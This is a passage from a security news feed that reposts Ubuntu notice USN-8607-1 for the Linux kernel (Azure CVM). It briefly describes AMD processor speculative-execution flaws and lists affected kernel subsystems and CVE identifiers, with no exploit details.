CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
